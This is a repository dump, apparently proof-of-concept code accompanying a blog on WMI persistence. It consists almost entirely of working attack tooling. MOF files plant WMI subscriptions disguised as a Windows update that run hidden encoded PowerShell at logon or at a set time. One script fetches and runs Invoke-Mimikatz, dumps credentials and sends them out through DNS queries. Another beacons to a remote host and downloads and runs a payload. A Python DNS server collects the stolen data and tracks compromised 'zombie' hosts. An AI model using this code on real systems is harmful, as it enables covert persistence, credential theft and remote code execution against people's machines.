├── README.md ├── WMI-Mimikatz.mof ├── WMI-Mimikatz.ps1 ├── dnsping-meterpreter.mof ├── dnsping-meterpreter.ps1 └── server └── dns.py /README.md: -------------------------------------------------------------------------------- 1 | # WMI-persistence 2 | POC code to accompany the blog. Client side code exists of the following parts: 3 | 4 | 1. powershell script 5 | 2. MOF to install the script. 6 | 7 | Server side code is pretty self-explanitory. 8 | 9 | Preparing your own Base64 code for a command line argument could be performed like the following: 10 | 11 | $var = Get-Content file 12 | $encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($var)) 13 | 14 | powershell -ExecutionPolicy ByPass -EncodedCommand $encodedcommand 15 | -------------------------------------------------------------------------------- /WMI-Mimikatz.mof: -------------------------------------------------------------------------------- 1 | #pragma namespace ("\\\\.\\root\\subscription") 2 | 3 | instance of CommandLineEventConsumer as $Cons 4 | { 5 | Name = "Microsoft Windows kb89083"; 6 | RunInteractively=false; 7 | CommandLineTemplate="cmd /C powershell -windowstyle hidden -ExecutionPolicy ByPass -EncodedCommand "; 8 | }; 9 | 10 | instance of __EventFilter as $Filt 11 | { 12 | Name = "Windows kb89083 filter"; 13 | Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 " 14 | "WHERE TargetInstance ISA \"Win32_LogonSession\" " 15 | "AND TargetInstance.LogonType = 2"; 16 | QueryLanguage = "WQL"; 17 | EventNamespace = "root\\cimv2"; 18 | }; 19 | 20 | instance of __FilterToConsumerBinding 21 | { 22 | Filter = $Filt; 23 | Consumer = $Cons; 24 | }; 25 | 26 | -------------------------------------------------------------------------------- /WMI-Mimikatz.ps1: -------------------------------------------------------------------------------- 1 | IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); 2 | $var = Invoke-Mimikatz -DumpCreds; 3 | $varbytes = [System.Text.Encoding]::UTF8.GetBytes($var); 4 | $var64 = [System.Convert]::ToBase64String($varbytes); 5 | 6 | $domain="ourdomain.nl"; 7 | $maxlen=65-$domain.Length; 8 | 9 | function replaceBadChars($item){ 10 | $item = $item.Replace("/", "-3F"); 11 | $item = $item.Replace("+", "-3E"); 12 | $item = $item.Replace("=", "-3D"); 13 | return $item; 14 | } 15 | 16 | $callItems = New-Object System.Collections.ArrayList; 17 | $index = 0; 18 | 19 | while ($index -ne $var64.Length){ 20 | if(-Not ($index+$maxlen -gt $var64.Length)){ 21 | $temp = replaceBadChars($var64.Substring($index, $maxlen)); 22 | $callItems.Add($temp); 23 | $index = $index + $maxlen; 24 | $index; 25 | } 26 | else{ 27 | $temp = replaceBadChars($var64.Substring($index)); 28 | $callItems.Add($temp); 29 | $index = $var64.Length; 30 | } 31 | } 32 | 33 | $index = $callItems.Count-1; 34 | $count = 0; 35 | $seed = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}); 36 | foreach ($item in $callItems){ 37 | $queryDomain = $count.ToString()+"-"+$index.ToString()+"."+$item+"."+$seed+"."+$domain; 38 | $count++; 39 | $queryDomain; 40 | [Net.DNS]::GetHostEntry($queryDomain); 41 | Start-Sleep -s 1; 42 | 43 | } 44 | -------------------------------------------------------------------------------- /dnsping-meterpreter.mof: -------------------------------------------------------------------------------- 1 | #pragma namespace ("\\\\.\\root\\subscription") 2 | 3 | instance of CommandLineEventConsumer as $asd 4 | { 5 | Name = "Microsoft Windows kb89083"; 6 | RunInteractively=false; 7 | CommandLineTemplate="cmd /C powershell -windowstyle hidden -ExecutionPolicy ByPass -EncodedCommand "; 8 | }; 9 | 10 | instance of __EventFilter as $Filt 11 | { 12 | Name = "EF"; 13 | Query = "SELECT * FROM __InstanceModificationEvent WHERE " 14 | "TargetInstance ISA \"Win32_LocalTime\" AND " 15 | "TargetInstance.Hour = 14 AND TargetInstance.Minute = 48 AND " 16 | "TargetInstance.Second = 0"; 17 | QueryLanguage = "WQL"; 18 | EventNamespace = "root\\cimv2"; 19 | }; 20 | 21 | 22 | instance of __FilterToConsumerBinding 23 | { 24 | Filter = $Filt; 25 | Consumer = $asd; 26 | }; 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /dnsping-meterpreter.ps1: -------------------------------------------------------------------------------- 1 | $domain="ourdomain.nl"; 2 | function replaceBadChars($item){ 3 | $item = $item.Replace("_", ""); 4 | $item = $item.Replace("+", ""); 5 | $item = $item.Replace("=", ""); 6 | $item = $item.Replace(".", ""); 7 | return $item; 8 | } 9 | 10 | function callShell(){ 11 | $dl = (New-Object Net.WebClient).DownloadString('https://location.of.our.shell/data'); 12 | powershell -window hidden -enc $dl; 13 | } 14 | 15 | 16 | $hostname = [System.Net.Dns]::GetHostName(); 17 | $hostname = replaceBadChars($hostname); 18 | 19 | $seed = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}); 20 | $queryDomain = $hostname +"." +$seed+"."+$domain; 21 | $var = [Net.DNS]::GetHostEntry($queryDomain); 22 | 23 | 24 | if ($var.AddressList.IPAddressToString -eq '10.10.10.4'){ 25 | callShell; 26 | } 27 | -------------------------------------------------------------------------------- /server/dns.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | """ 4 | DNS server framework - intended to simplify creation of custom resolvers. 5 | 6 | Comprises the following components: 7 | 8 | DNSServer - socketserver wrapper (in most cases you should just 9 | need to pass this an appropriate resolver instance 10 | and start in either foreground/background) 11 | 12 | DNSHandler - handler instantiated by DNSServer to handle requests 13 | The 'handle' method deals with the sending/receiving 14 | packets (handling TCP length prefix) and delegates 15 | the protocol handling to 'get_reply'. This decodes 16 | packet, hands off a DNSRecord to the Resolver instance, 17 | and encodes the returned DNSRecord. 18 | 19 | In most cases you dont need to change DNSHandler unless 20 | you need to get hold of the raw protocol data in the 21 | Resolver 22 | 23 | DNSLogger - The class provides a default set of logging functions for 24 | the various stages of the request handled by a DNSServer 25 | instance which are enabled/disabled by flags in the 'log' 26 | class variable. 27 | 28 | Resolver - Instance implementing a 'resolve' method that receives 29 | the decodes request packet and returns a response. 30 | 31 | To implement a custom resolver in most cases all you need 32 | is to implement this interface. 33 | 34 | Note that there is only a single instance of the Resolver 35 | so need to be careful about thread-safety and blocking 36 | 37 | The following examples use the server framework: 38 | 39 | fixedresolver.py - Simple resolver which will respond to all 40 | requests with a fixed response 41 | zoneresolver.py - Resolver which will take a standard zone 42 | file input 43 | shellresolver.py - Example of a dynamic resolver 44 | proxy.py - DNS proxy 45 | intercept.py - Intercepting DNS proxy 46 | 47 | >>> resolver = BaseResolver() 48 | >>> logger = DNSLogger(prefix=False) 49 | >>> server = DNSServer(resolver,port=8053,address="localhost",logger=logger) 50 | >>> server.start_thread() 51 | >>> q = DNSRecord.question("abc.def") 52 | >>> a = q.send("localhost",8053) 53 | Request: [...] (udp) / 'abc.def.' (A) 54 | Reply: [...] (udp) / 'abc.def.' (A) / RRs: 55 | >>> print(DNSRecord.parse(a)) 56 | ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: ... 57 | ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 58 | ;; QUESTION SECTION: 59 | ;abc.def. IN A 60 | >>> server.stop() 61 | 62 | >>> class TestResolver: 63 | ... def resolve(self,request,handler): 64 | ... reply = request.reply() 65 | ... reply.add_answer(*RR.fromZone("abc.def. 60 A 1.2.3.4")) 66 | ... return reply 67 | >>> resolver = TestResolver() 68 | >>> server = DNSServer(resolver,port=8053,address="localhost",logger=logger,tcp=True) 69 | >>> server.start_thread() 70 | >>> a = q.send("localhost",8053,tcp=True) 71 | Request: [...] (tcp) / 'abc.def.' (A) 72 | Reply: [...] (tcp) / 'abc.def.' (A) / RRs: A 73 | >>> print(DNSRecord.parse(a)) 74 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: ... 75 | ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 76 | ;; QUESTION SECTION: 77 | ;abc.def. IN A 78 | ;; ANSWER SECTION: 79 | abc.def. 60 IN A 1.2.3.4 80 | >>> server.stop() 81 | 82 | 83 | """ 84 | from __future__ import print_function 85 | 86 | import binascii,socket,struct,threading,time 87 | import base64 88 | import os.path 89 | 90 | try: 91 | import socketserver 92 | except ImportError: 93 | import SocketServer as socketserver 94 | 95 | from dnslib import * 96 | 97 | class BaseResolver(object): 98 | """ 99 | Base resolver implementation. Provides 'resolve' method which is 100 | called by DNSHandler with the decode request (DNSRecord instance) 101 | and returns a DNSRecord instance as reply. 102 | 103 | In most cases you should be able to create a custom resolver by 104 | just replacing the resolve method with appropriate resolver code for 105 | application (see fixedresolver/zoneresolver/shellresolver for 106 | examples) 107 | 108 | Note that a single instance is used by all DNSHandler instances so 109 | need to consider blocking & thread safety. 110 | """ 111 | def resolve(self,request,handler): 112 | """ 113 | Example resolver - respond to all requests with NXDOMAIN 114 | """ 115 | reply = request.reply() 116 | reply.header.rcode = getattr(RCODE,'NXDOMAIN') 117 | return reply 118 | 119 | class DNSHandler(socketserver.BaseRequestHandler): 120 | """ 121 | Handler for socketserver. Transparently handles both TCP/UDP requests 122 | (TCP requests have length prepended) and hands off lookup to resolver 123 | instance specified in .resolver 124 | """ 125 | 126 | udplen = 0 # Max udp packet length (0 = ignore) 127 | 128 | def handle(self): 129 | if self.server.socket_type == socket.SOCK_STREAM: 130 | self.protocol = 'tcp' 131 | data = self.request.recv(8192) 132 | length = struct.unpack("!H",bytes(data[:2]))[0] 133 | while len(data) - 2 < length: 134 | data += self.request.recv(8192) 135 | data = data[2:] 136 | else: 137 | self.protocol = 'udp' 138 | data,connection = self.request 139 | 140 | self.server.logger.log_recv(self,data) 141 | 142 | try: 143 | rdata = self.get_reply(data) 144 | self.server.logger.log_send(self,rdata) 145 | 146 | if self.protocol == 'tcp': 147 | rdata = struct.pack("!H",len(rdata)) + rdata 148 | self.request.sendall(rdata) 149 | else: 150 | connection.sendto(rdata,self.client_address) 151 | 152 | except DNSError as e: 153 | self.server.logger.log_error(self,e) 154 | 155 | def get_reply(self,data): 156 | request = DNSRecord.parse(data) 157 | self.server.logger.log_request(self,request) 158 | 159 | resolver = self.server.resolver 160 | reply = resolver.resolve(request,self) 161 | self.server.logger.log_reply(self,reply) 162 | 163 | if self.protocol == 'udp': 164 | rdata = reply.pack() 165 | if self.udplen and len(rdata) > self.udplen: 166 | truncated_reply = reply.truncate() 167 | rdata = truncated_reply.pack() 168 | self.server.logger.log_truncated(self,truncated_reply) 169 | else: 170 | rdata = reply.pack() 171 | 172 | return rdata 173 | 174 | class DNSLogger: 175 | 176 | """ 177 | The class provides a default set of logging functions for the various 178 | stages of the request handled by a DNSServer instance which are 179 | enabled/disabled by flags in the 'log' class variable. 180 | 181 | To customise logging create an object which implements the DNSLogger 182 | interface and pass instance to DNSServer. 183 | 184 | The methods which the logger instance must implement are: 185 | 186 | log_recv - Raw packet received 187 | log_send - Raw packet sent 188 | log_request - DNS Request 189 | log_reply - DNS Response 190 | log_truncated - Truncated 191 | log_error - Decoding error 192 | log_data - Dump full request/response 193 | """ 194 | 195 | def __init__(self,log="",prefix=True): 196 | """ 197 | Selectively enable log hooks depending on log argument 198 | (comma separated list of hooks to enable/disable) 199 | 200 | - If empty enable default log hooks 201 | - If entry starts with '+' (eg. +send,+recv) enable hook 202 | - If entry starts with '-' (eg. -data) disable hook 203 | - If entry doesn't start with +/- replace defaults 204 | 205 | Prefix argument enables/disables log prefix 206 | """ 207 | default = ["request","reply","truncated","error"] 208 | log = log.split(",") if log else [] 209 | enabled = set([ s for s in log if s[0] not in '+-'] or default) 210 | [ enabled.add(l[1:]) for l in log if l.startswith('+') ] 211 | [ enabled.discard(l[1:]) for l in log if l.startswith('-') ] 212 | for l in ['log_recv','log_send','log_request','log_reply', 213 | 'log_truncated','log_error','log_data']: 214 | if l[4:] not in enabled: 215 | setattr(self,l,self.log_pass) 216 | self.prefix = prefix 217 | 218 | def log_pass(self,*args): 219 | pass 220 | 221 | def log_prefix(self,handler): 222 | if self.prefix: 223 | return "%s [%s:%s] " % (time.strftime("%Y-%m-%d %X"), 224 | handler.__class__.__name__, 225 | handler.server.resolver.__class__.__name__) 226 | else: 227 | return "" 228 | 229 | def log_recv(self,handler,data): 230 | print("%sReceived: [%s:%d] (%s) <%d> : %s" % ( 231 | self.log_prefix(handler), 232 | handler.client_address[0], 233 | handler.client_address[1], 234 | handler.protocol, 235 | len(data), 236 | binascii.hexlify(data))) 237 | 238 | def log_send(self,handler,data): 239 | print("%sSent: [%s:%d] (%s) <%d> : %s" % ( 240 | self.log_prefix(handler), 241 | handler.client_address[0], 242 | handler.client_address[1], 243 | handler.protocol, 244 | len(data), 245 | binascii.hexlify(data))) 246 | 247 | def log_request(self,handler,request): 248 | print("%sRequest: [%s:%d] (%s) / '%s' (%s)" % ( 249 | self.log_prefix(handler), 250 | handler.client_address[0], 251 | handler.client_address[1], 252 | handler.protocol, 253 | request.q.qname, 254 | QTYPE[request.q.qtype])) 255 | self.log_data(request) 256 | 257 | def log_reply(self,handler,reply): 258 | print("%sReply: [%s:%d] (%s) / '%s' (%s) / RRs: %s" % ( 259 | self.log_prefix(handler), 260 | handler.client_address[0], 261 | handler.client_address[1], 262 | handler.protocol, 263 | reply.q.qname, 264 | QTYPE[reply.q.qtype], 265 | ",".join([QTYPE[a.rtype] for a in reply.rr]))) 266 | self.log_data(reply) 267 | 268 | def log_truncated(self,handler,reply): 269 | print("%sTruncated Reply: [%s:%d] (%s) / '%s' (%s) / RRs: %s" % ( 270 | self.log_prefix(handler), 271 | handler.client_address[0], 272 | handler.client_address[1], 273 | handler.protocol, 274 | reply.q.qname, 275 | QTYPE[reply.q.qtype], 276 | ",".join([QTYPE[a.rtype] for a in reply.rr]))) 277 | self.log_data(reply) 278 | 279 | def log_error(self,handler,e): 280 | print("%sInvalid Request: [%s:%d] (%s) :: %s" % ( 281 | self.log_prefix(handler), 282 | handler.client_address[0], 283 | handler.client_address[1], 284 | handler.protocol, 285 | e)) 286 | 287 | def log_data(self,dnsobj): 288 | print("\n",dnsobj.toZone(" "),"\n",sep="") 289 | 290 | 291 | class UDPServer(socketserver.UDPServer): 292 | allow_reuse_address = True 293 | 294 | class TCPServer(socketserver.TCPServer): 295 | allow_reuse_address = True 296 | 297 | class DNSServer(object): 298 | 299 | """ 300 | Convenience wrapper for socketserver instance allowing 301 | either UDP/TCP server to be started in blocking more 302 | or as a background thread. 303 | 304 | Processing is delegated to custom resolver (instance) and 305 | optionally custom logger (instance), handler (class), and 306 | server (class) 307 | 308 | In most cases only a custom resolver instance is required 309 | (and possibly logger) 310 | """ 311 | def __init__(self,resolver, 312 | address="", 313 | port=53, 314 | tcp=False, 315 | logger=None, 316 | handler=DNSHandler, 317 | server=None): 318 | """ 319 | resolver: resolver instance 320 | address: listen address (default: "") 321 | port: listen port (default: 53) 322 | tcp: UDP (false) / TCP (true) (default: False) 323 | logger: logger instance (default: DNSLogger) 324 | handler: handler class (default: DNSHandler) 325 | server: socketserver class (default: UDPServer/TCPServer) 326 | """ 327 | if not server: 328 | if tcp: 329 | server = TCPServer 330 | else: 331 | server = UDPServer 332 | self.server = server((address,port),handler) 333 | self.server.resolver = resolver 334 | self.server.logger = logger or DNSLogger() 335 | 336 | def start(self): 337 | self.server.serve_forever() 338 | 339 | def start_thread(self): 340 | self.thread = threading.Thread(target=self.server.serve_forever) 341 | self.thread.daemon = True 342 | self.thread.start() 343 | 344 | def stop(self): 345 | self.server.shutdown() 346 | 347 | def isAlive(self): 348 | return self.thread.isAlive() 349 | 350 | 351 | class resolverHelpers: 352 | global clientList 353 | clientList = [] 354 | domain = "ourdomain" 355 | 356 | def getClient(self, messageID, totalMessages): 357 | if(len(clientList)==0): 358 | messageArray = [[None]] * (int(totalMessages)+1) 359 | clientList.append({"id" : messageID, "messages" : messageArray}) 360 | return clientList[0] 361 | else: 362 | for client in clientList: 363 | if(client.get("id") == messageID): 364 | return client 365 | messageArray = [[None]] * (int(totalMessages)+1) 366 | newClient = {"id" : messageID, "messages" : messageArray} 367 | clientList.append(newClient) 368 | return newClient 369 | 370 | def updateClient(self, client): 371 | index = 0 372 | for item in clientList: 373 | if(item.get("id") == client.get("id")): 374 | clientList[index] = client 375 | index = index+1 376 | 377 | def replaceBadChars(self, message): 378 | message = message.replace('-3D','=') 379 | message = message.replace('-3F','/') 380 | message = message.replace('-3E','+') 381 | return message 382 | 383 | def decodeMessage(self, client, ip): 384 | messages = client.get("messages") 385 | b64 = "" 386 | for m in messages: 387 | b64 = b64 + str(m) 388 | try: 389 | fp = open(ip, "a") 390 | fp.write(client.get("id") + "\n") 391 | fp.write(base64.b64decode(b64)) 392 | fp.close() 393 | return base64.b64decode(b64) 394 | except: 395 | print("error occured") 396 | 397 | 398 | def checkMessages(self, client): 399 | messages = client.get("messages") 400 | index = 0 401 | for m in messages: 402 | if(m == [None]): 403 | return "10.10.10." + str(index) 404 | index = index+1 405 | 406 | 407 | class customResolver: 408 | global util 409 | util = resolverHelpers() 410 | def resolve(self,request,handler): 411 | domain = "ourdomain" 412 | req = request.q.qname.label 413 | print(len(req)) 414 | if(len(req) == 5 and req[3] == domain): 415 | totalMessages = int(req[0].split("-")[1]) 416 | messageNo = int(req[0].split("-")[0]) 417 | print(req[2]) 418 | client = util.getClient(req[2], totalMessages) 419 | client.get("messages")[messageNo] = util.replaceBadChars(req[1]) 420 | util.updateClient(client) 421 | if(messageNo == totalMessages): 422 | print(util.decodeMessage(client, handler.client_address[0])) 423 | reply = request.reply() 424 | reply.add_answer(RR(".".join(req)+".",QTYPE.A,rdata=A("1.2.3.4"),ttl=60)) 425 | return reply 426 | elif(len(req) == 4 and req[2] == domain): 427 | print("zombiecheck") 428 | pcname = req[0] 429 | reply = request.reply() 430 | if(os.path.isfile("zombie/" + pcname)): 431 | reply.add_answer(RR(".".join(req)+".",QTYPE.A,rdata=A("10.10.10.4"),ttl=60)) 432 | return reply 433 | else: 434 | reply.add_answer(RR(".".join(req),QTYPE.A,rdata=A("1.2.3.4"),ttl=60)) 435 | return reply 436 | else: 437 | print(req[3]) 438 | reply = request.reply() 439 | reply.add_answer(RR("abc.com",QTYPE.A,rdata=A("1.2.3.4"),ttl=60)) 440 | return reply 441 | 442 | if __name__ == "__main__": 443 | resolver = customResolver() 444 | server = DNSServer(resolver,address="0.0.0.0") 445 | server.start() 446 | 447 | --------------------------------------------------------------------------------